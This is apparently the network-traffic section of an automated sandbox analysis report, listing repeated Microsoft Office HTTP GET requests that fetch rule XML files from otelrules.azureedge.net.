Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
